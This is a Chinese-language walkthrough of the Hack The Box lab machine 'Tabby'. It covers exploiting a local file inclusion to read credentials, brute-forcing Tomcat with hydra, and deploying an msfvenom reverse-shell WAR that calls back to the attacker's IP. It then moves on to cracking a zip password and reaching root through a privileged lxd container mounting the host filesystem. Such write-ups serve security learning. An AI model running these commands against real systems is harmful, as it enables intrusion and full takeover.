【Hack The Box】linux练习-- Tabby
创始人
2024-02-21 13:20:16
0

HTB 学习笔记

【Hack The Box】linux练习-- Tabby


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月22日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 80
    • 8080 tomcat
    • 基于文本的管理器应用程序
    • tomcat->
    • ash ->root
    • lxd提权

在这里插入图片描述

信息收集

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80

sales@megahosting.com
普通页面啥都没有,几乎点完了所有功能模块之后有几个无法访问,查看发现需要hosts
于是添加

在这里插入图片描述
在这里插入图片描述
然后有这么一段话

目录爆破结果如下

/news.php             (Status: 200) [Size: 0]
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 14175]
/files                (Status: 301) [Size: 312] [--> http://10.129.18.17/files/]                                                                        
/assets               (Status: 301) [Size: 313] [--> http://10.129.18.17/assets/]    

唯一有点意思是 /news.php
在这里插入图片描述
发现存在lfi,我尝试将…/…/…/…/…/…/…/etc/passwd在这里插入图片描述
存在lfi
在这里插入图片描述
所以得知了用户
一个ash用户
还有一个syslog

8080 tomcat

首页提到
Users are defined in /etc/tomcat9/tomcat-users.xml.

利用lfi访问
在这里插入图片描述啥都没有
于是我在我本地安装了tomcat
find / -name tomcat-users.xml
在这里插入图片描述用第一个,然后直接右键源代码查看

在这里插入图片描述找到了凭据
在这里插入图片描述

因为
tomcat默认存在一个/manager
可以登陆
在这里插入图片描述
根据我的清单
https://blog.csdn.net/weixin_65527369/article/details/127538948
在这里插入图片描述

hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.129.18.17:8080/manager/html

但是没有找到密码
在这里插入图片描述但是爆破不出来,于是我就尝试刚才获得的密码

在这里插入图片描述
但是我无权查看页面
在这里插入图片描述http://megahosting.htb:8080/host-manager/html
但是我可以查看应用程序页面
这同样也是tomcat的一个吗默认页面

在这里插入图片描述

基于文本的管理器应用程序

https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html#Supported_Manager_Commands

官网文档可以看看

这是一种已经知道的攻击方法

msfvenom -p java/shell_reverse_tcp lhost=10.10.14.29 lport=8888 -f war -o shell.warcurl -u 'tomcat:$3cureP4s5w0rd123!' http://10.129.18.17:8080/manager/text/deploy?path=/rong --upload-file shell.war  curl http://10.129.18.17:8080/rong  

在这里插入图片描述获得了shell
python3 -c ‘import pty;pty.spawn (“/bin/bash”)’

tomcat->

我们现在已知两个用户
一个ash用户
还有一个syslog

在这里插入图片描述发现了一个zip
在这里插入图片描述搞回本地而后爆破
得到密码
admin@it
注意密码复用的可能性

在这里插入图片描述翻遍了几乎所有的文件,全部打打开搜素了pass关键字,没有任何发现,尝试用刚才压缩包爆破出来的密码复用

成功
成功登陆了ash
在这里插入图片描述

ash ->root

在这里插入图片描述
发现他有烂兄弟权限
那就烂兄弟提权先来一手

lxd提权

下载并构建

proxychains4 -f /etc/proxychains4.conf git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builderproxychains4 -f /etc/proxychains4.conf ./build-alpine

在这里插入图片描述在这里插入图片描述
把当前目录添加到环境变量,不然没有lxc命令
export PATH=/snap/bin/:$PATH
在这里插入图片描述

传入靶机的tmp目录,或者在/dev/shm玩

接下来我将镜像导入 lxc: 
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias rong-image
我需要运行 lxd init. 我可以接受所有默认值: 
lxd init
创建容器
lxc init rong-image container-rong -c security.privileged=trueinit- 要采取的行动,启动一个容器0xdf-image- 开始的形象container-0xdf- 运行容器的别名-c security.privileged=true- 默认情况下,容器作为非根 UID 运行; 这将以 root 身份运行容器,使其能够以 root 身份访问主机文件系统我还将把主机文件系统的一部分挂载到容器中。 这对于在两者之间有一个共享文件夹很有用。 我将通过挂载主机系统根目录来滥用它: lxc config device add container-rong device-rong disk source=/ path=/mnt/rootlxc start container-rong
以下 lxc exec命令返回容器内的根 shell: 
lxc exec container-rong /bin/sh

在这里插入图片描述

相关内容

热门资讯

河边茶园租赁合同范本推荐8篇 河边茶园租赁合同范本 第一篇甲方:_______________________乙方:_______...
【Java进阶篇】—— 常用类... 一、String类 1.1 String的特性 java.lang.String 类代表字符串&#x...
lua脚本+redis实现限流 定义注解 @RateLimiter @Target(ElementType.METH...
VMware虚拟机群晖7.2 ... VMwar虚拟机群晖7.2 Beta (懒人包)使用方法和之前的版本一样:1.首先解压...
空调安装合同书 空调安装合同书中央空调安装合同(标准版)和家网-全球中文家居门户合同编号: 签约时间: 工程地点:和...
技术服务合同范本   合同编号:______________________  项目名称:______________...
简单的就业合同范本优选19篇 简单的就业合同范本 第一篇甲 方:_______________________(以下简称甲方)乙 ...
《认识几分之一》 教学设计 《认识几分之一》 教学设计  作为一位杰出的老师,很有必要精心设计一份教学设计,教学设计是把教学原理...
【RabbitMQ】Feder... RabbitMQ集群对时间非常敏感,应该在局域网中使用,不应在关于网中使...
SuperMap iMobil... 第一步:创建 Android Studio 项目 第一步:创建 Andr...
23年PMP考试备考:易混淆知... PMP考试即将到来,为便于在考试前查漏补缺,给大家准备了PMP考试中常考...
装修公司合同范本推荐66篇 装修公司合同范本 第一篇发包人:甲方承包人:乙方依照《xxx合同法》、《xxx建筑法》及其它有关法律...
租赁合同范本大全推荐13篇 租赁合同范本大全 第一篇出租人(甲方):____________证件类型及编号:__________...
辽宁工程技术大学专科什么专业... 辽宁工程技术大学专科什么专业适合女生?内蒙理科生419分(中国大学网 )选择社科专业都可以比如广告,...
五年级语文《松鼠》教学设计 五年级语文《松鼠》教学设计  松鼠是一种很讨人喜欢的小动物。下面由小编为您整理出的五年级语文《松鼠》...
大数据框架之Hadoop:Ma... 3.6.1OutputFormat接口实现类 OutputFormat是MapReduce输出的基类...
教学计划 精选教学计划模板8篇  日子如同白驹过隙,不经意间,我们又将学习新的知识,有新的感受,这也意味着,又...
一上《an en in un... 一上《an en in un ün》第二课时教学设计人教版  作为一名教学工作者,时常需要用到教学设...
分数乘整数教学反思 分数乘整数教学反思  分数乘整数教学反思(一)  在教学分数乘整数之前,班里已经有不少学生知道了分数...
免费搭建个人博客 免费搭建个人博客,并发布到公网 利用hexo搭建个人博客,通过gitee的pages...